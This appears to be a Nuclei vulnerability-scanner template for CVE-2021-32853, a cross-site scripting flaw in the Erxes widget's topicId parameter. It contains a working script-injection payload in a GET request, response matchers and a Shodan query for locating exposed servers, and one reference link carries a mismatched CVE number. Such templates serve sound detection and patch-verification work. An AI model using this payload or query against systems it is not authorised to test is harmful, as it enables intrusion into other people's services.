46 lines
1.4 KiB
YAML
46 lines
1.4 KiB
YAML
id: CVE-2021-32853
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info:
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name: Erxes <0.23.0 - Cross-Site Scripting
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author: dwisiswant0
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severity: critical
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description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
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- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
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- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
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cvss-score: 9.6
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cve-id: CVE-2021-32853
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cwe-id: CWE-79
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metadata:
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shodan-query: http.title:"erxes"
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tags: cve,cve2021,xss,erxes,oss
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'topic_id: "</script><script>alert(document.domain)</script>'
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- "window.erxesEnv"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/08/28
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